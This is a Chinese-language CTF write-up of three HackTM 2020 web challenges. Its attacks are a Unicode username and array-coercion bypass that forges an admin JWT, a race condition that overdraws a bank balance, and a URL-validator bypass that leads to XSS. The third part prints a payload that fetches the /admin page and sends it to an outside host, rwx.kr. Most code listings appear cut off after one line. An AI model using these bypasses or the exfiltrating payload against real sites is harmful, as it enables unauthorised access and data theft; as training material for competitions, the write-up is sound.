前言
好久没有做题了,这几天看到ctftime上有一个新的比赛因此做了一下。感觉题目的质量还行,收获不少的东西。
0x01 Draw with us
题目源码如下:
1 | const express = require("express"); |
现在我们看怎么获取flag
,下面这段代码返回了flag
:
1 | if (req.user.id == 0) { |
req.user.id
是由JWT签名的,并且是在登陆的时候由服务器随机生成的。我必须去获得一个签名的token其中的id
值是0。如果这个secret
被用作签名并且没有暴露因此是安全的。
在其他的地方只有一个地方返回了签名的JWT
是/init
:
1 | let adminId = pwHash |
为了让adminId
为0,我们需要target xor pwHash=0
这意味着target===pwHash
。
target
是这个config.n
的md5和。pwHash
是这个q*p
的md5和。
我们需要得到config.n
。
现在我们继续往下看。
我们可以看到/serverInfo
返回了一些在config
的元素:
1 | app.get("/serverInfo", (req, res) => { |
每个用户的默认权限是:[ "message", "height", "width", "version", "usersOnline", "adminUsername", "backgroundColor" ]
我们需要去添加n
和p
到我们的用户权限列表中。
这个方法/updateUser
允许我们去发送一个权限列表以添加到我们的用户权限列表中。
但是但我们POST["p","n"]
时:返回You're not an admin!
。
我们可以看看他是怎么处理的:
1 | if (!user || !isAdmin(user)) { |
Bypassing isAdmin(u)
1 | function isAdmin(u) { |
我们需要去使username.toLowerCase() === adminUsername.toLowerCase()
。
如果我们尝试去登陆(/login
)使用hacktm
我们将会获取下面的信息:
1 | Invalid creds |
他是由于isValidUser(u)
在/login
。它检查:
1 | u.username.toUpperCase() !== config.adminUsername.toUpperCase() |
因此,我们需要:
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
username.toLowerCase() === adminUsername.toLowerCase()
幸运的是,unicode为我们提供一些字符满足下面的这些情况:
1 | "K".toUpperCase() = "K" |
我们获得了下列的JWT:
1 | HTTP/1.1 200 OK |
现在我们能更新我们的权限!
但是我们尝试去POST["p","n"]
到/updateUser
:
1 | POST /updateUser HTTP/1.1 |
将会返回如下内容:
1 | HTTP/1.1 200 OK |
虽然没有报错,但是n
和p
没有被添加到用户权限列表中。
这是因为checkRights(arr)
。
Bypassing chkecRights(arr)
在/updateUser()
:
1 | if (rights.length > 0 && checkRights(rights)) { |
这个checkRights
返回了false由于rights
包含这个字符串"n"/"p"
。
我们可以提供下面的两个事实来解决:
javascript
使用toString()
去访问对象的属性。- 具有一个元素的数组
toString
是toString
,例如:["n"].toString()=>"n"
。
当我们POST[["p"],"n"]
到/updateUser
会返回如下内容:
1 | HTTP/1.1 200 OK |
现在我们访问/serverInfo
:
1 | {"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":12},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"},{"name":["p"],"value":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617"}]}} |
Getting the flag
计算q
使用n/p
我们获得:
1 | q = 283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987 |
我们POSTp
和q
到/init
并且返回:
1 | HTTP/1.1 200 OK |
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMDgwOTA4fQ.6e046oNRejSwF6ymM2BaxwxvTq7y42J6jfv5bnKzj1Q
是admin的token。
GET/flag
使用admin的token:
1 | { |
测试代码如下:
1 | var admin = "hacktm"; |
slove.py
1 | import requests |
payload.py
1 | import jwt # pip install pyjwt |
参考链接
https://ctftime.org/writeup/18186
https://spotless.tech/hacktm-2020-drawing.html
0x02 My Bank
1 | Who’s got my money? |
通过条件竞争漏洞我们可以借超过600.00 tBTC
从而购买flag
。
1 | // exploit.js |
bash的脚本
1 |
|
参考链接
https://spotless.tech/hacktm-2020-My%20Bank.html
https://blog.rwx.kr/hacktm-ctf-quals-2020/#my-bank
0x03 Humans of Dancers
1 | Please do not brute-force for any files or directories. |
view-source:http://178.128.175.6:20900/static/app.js
1 | $(document).ready(function() { |
如果您查看/static/app.js
文件,它将使用哈希值中给出的字符串作为参数调用isValidUrl
函数,并检查它是否为安全地址,然后将其设置为iframe标记的src属性。
1 | /^(https?\:\/\/)?[a-zA-Z0-9_-]+(.[a-zA-Z0-9_-]+)*.[a-zA-Z]{2,4}(\/[a-zA-Z0-9_]+){0,15}(\/[a-zA-Z0-9_]+.[a-zA-Z]{2,4}(\?[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+)?)?(\&[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+){0,15}$/gi |
首先isUrl
使用的正则表达式十分的复杂。这样可以确保字符不会全部转义并匹配所有的字符。因此我可以绕过用https://javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,alert(1)
。
1 | var isValidJSURL = function (url) { |
isValidJSURL
函数检查给定的URL的来源。对于https://javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,alert(1)
起源于javascript:80
是被认可的。
1 | // csp |
如果我们成功绕过了上面的过滤功能。则可以通过操控哈希值运行任意脚本,但是csp
和Object.freeze
可以防止数据的外带。但是我们可以用top.location.replace('...')
将location
移动到外部以发送数据。
1 | http://178.128.175.6:20900/#javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,fetch('/admin').then(x=%3Ex.text()).then(x=%3Etop.location.replace('//rwx.kr/?'%2bbtoa(x))) |
上面的地址获取/admin
页面,并将其发送到攻击者的服务器。
1 | <!-- <a href="#/page/sugestii">Sugestii</a> --> |
以上注释位于页面中间。
1 | <form action="" method="post"> |
你可以看到隐藏类型的输入标签,你可以在这个地方输入payload/#javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,fetch('/admin').then(x=%3Ex.text()).then(x=%3Etop.location.replace('//rwx.kr/?'%2bbtoa(x)))
管理员确认后,你会收到/admin
页面的内容。
1 | // log |